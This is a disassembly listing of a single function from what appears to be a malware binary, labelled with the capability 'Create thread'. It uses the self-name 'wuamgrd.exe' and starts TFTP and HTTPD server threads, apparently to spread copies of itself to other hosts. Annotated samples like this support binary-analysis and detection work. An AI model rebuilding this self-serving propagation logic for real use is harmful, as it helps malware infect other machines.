Function at 0x40179d
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x234
mov eax, dword [ebp + 0x138]
cmp eax, 0xffffffff
je 0x401b81
mov eax, dword [ebp + 0x138]
imul eax, eax, 0x3c
add eax, 0x43b054
mov eax, dword [eax]
test eax, eax
je 0x4019b0
mov dword [esp], 4
call fcn.0042ad8a
test eax, eax
sete al
test al, al
je 0x401b81
mov eax, dword [0x43ceac]
mov dword [0x448a54], eax
mov dword [0x448a50], 0
mov dword [esp + 8], 0x104
mov dword [esp + 4], 0x448844
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call eax
sub esp, 0xc
mov dword [esp + 8], 0x103
mov dword [esp + 4], str.wuamgrd.exe
mov dword [esp], 0x448948
call sub.msvcrt.dll_strncpy
mov eax, dword [ebp + 0x118]
mov dword [0x448840], eax
mov eax, dword [ebp + 0x140]
mov dword [0x448ad8], eax
movzx eax, byte [ebp + 0x98]
test al, al
jne 0x401880
mov dword [esp + 8], 0x7f
lea eax, [ebp + 0x18]
mov dword [esp + 4], eax
mov dword [esp], 0x448a58
call sub.msvcrt.dll_strncpy
mov dword [0x448adc], 1
jmp 0x4018a8
mov dword [esp + 8], 0x7f
lea eax, [ebp + 0x98]
mov dword [esp + 4], eax
mov dword [esp], 0x448a58
call sub.msvcrt.dll_strncpy
mov dword [0x448adc], 0
mov eax, dword [0x448a54]
mov dword [esp + 0x10], 0x448948
mov dword [esp + 0xc], 0x448844
mov dword [esp + 8], eax
mov dword [esp + 4], 0x43e058
lea eax, [ebp - 0x20c]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
mov dword [esp + 8], 0
mov dword [esp + 4], 4
lea eax, [ebp - 0x20c]
mov dword [esp], eax
call fcn.0042a908
mov dword [0x448a4c], eax
mov ebx, dword [0x448a4c]
lea eax, [ebp - 0x210]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x448840
mov dword [esp + 8], fcn.00429fd0
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov edx, eax
imul eax, ebx, 0x234
add eax, 0x44fe74
mov dword [eax], edx
imul eax, ebx, 0x234
add eax, 0x44fe74
mov eax, dword [eax]
test eax, eax
setne al
test al, al
je 0x40197c
mov eax, dword [0x448ae0]
test eax, eax
jne 0x40199d
mov dword [esp], 0x32
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
jmp 0x401960
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [esp + 8], eax
mov dword [esp + 4], str._TFTP_:_Failed_to_start_server__error:___d_.
lea eax, [ebp - 0x20c]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
lea eax, [ebp - 0x20c]
mov dword [esp], eax
call fcn.00402bae
jmp 0x401b81
mov eax, dword [ebp + 0x138]
imul eax, eax, 0x3c
add eax, 0x43b058
mov eax, dword [eax]
test eax, eax
je 0x401b81
mov dword [esp], 3
call fcn.0042ad8a
test eax, eax
sete al
test al, al
je 0x401b81
mov dword [esp + 8], 0x104
mov dword [esp + 4], 0x448d8c
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call eax
sub esp, 0xc
mov dword [esp + 4], 0x5c
mov dword [esp], 0x448d8c
call sub.msvcrt.dll_strrchr
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
setne al
test al, al
je 0x401a2a
mov eax, dword [ebp - 0xc]
mov byte [eax], 0
mov eax, dword [0x43ceb0]
mov dword [0x448e90], eax
mov dword [0x448ea4], 0
lea eax, [ebp + 0x18]
mov dword [esp + 4], eax
mov dword [esp], 0x448b04
call sub.msvcrt.dll_sprintf
mov eax, dword [ebp + 0x118]
mov dword [0x448b00], eax
mov eax, dword [ebp + 0x140]
mov dword [0x448e9c], eax
mov eax, dword [ebp + 0x144]
mov dword [0x448ea0], eax
mov ebx, dword [0x448e90]
mov eax, dword [ebp + 0x118]
mov dword [esp], eax
call fcn.00414100
mov dword [esp + 0x10], 0x448d8c
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], 0x43e0c4
lea eax, [ebp - 0x20c]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
mov dword [esp + 8], 0
mov dword [esp + 4], 3
lea eax, [ebp - 0x20c]
mov dword [esp], eax
call fcn.0042a908
mov dword [0x448e98], eax
mov ebx, dword [0x448e98]
lea eax, [ebp - 0x210]
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x448b00
mov dword [esp + 8], 0x409cb8
mov dword [esp + 4], 0
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateThread]
call eax
sub esp, 0x18
mov edx, eax
imul eax, ebx, 0x234
add eax, 0x44fe74
mov dword [eax], edx
imul eax, ebx, 0x234
add eax, 0x44fe74
mov eax, dword [eax]
test eax, eax
setne al
test al, al
je 0x401b51
mov eax, dword [0x448eac]
test eax, eax
jne 0x401b72
mov dword [esp], 0x32
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
call eax
sub esp, 4
jmp 0x401b35
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [esp + 8], eax
mov dword [esp + 4], str._HTTPD_:_Failed_to_start_server__error:___d_.
lea eax, [ebp - 0x20c]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
lea eax, [ebp - 0x20c]
mov dword [esp], eax
call fcn.00402bae
nop
nop
mov ebx, dword [ebp - 4]
leave
ret